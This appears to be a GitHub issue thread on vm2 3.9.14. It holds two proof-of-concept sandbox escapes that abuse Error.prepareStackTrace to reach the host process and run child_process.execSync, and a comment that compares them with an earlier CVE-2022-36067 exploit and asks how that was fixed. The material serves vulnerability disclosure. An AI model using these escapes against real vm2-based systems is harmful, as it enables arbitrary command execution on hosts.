vm2_3.9.14_exploit_1.js

const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};

(async ()=>{}).constructor('return process')()
`

vmInstance.run(code);

vm2_3.9.14_exploit_2.js

const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};

async function aa(){
    eval("1=1")
}

aa()
`

vmInstance.run(code);

@seongil-wi Did you looked at the earlier issues reported by oxeye team here - https://www.oxeye.io/resources/vm2-sandbreak-vulnerability-cve-2022-36067 ??

In oxeye team's report also the method for escaping the sandbox was typically same where attacker is using the prepareStackTrace() method to customise the CallStack() with escaping context scenario . I am mentioning the part of exploit here:

`globalThis.Error.prepareStackTrace = function(err, traces) {
traces[0].getThis().process.mainModule.require('child_process')

// Here the author is exploiting the fact that CallSite array of stack frames is not sandboxed. Though the author is using one of the 
     method here is getThis(). 

}`

I am curious about and trying to understand how this was fixed earlier. If the fix is happening in sort of blacklisting the different kinds of error or exception an attacker can raise?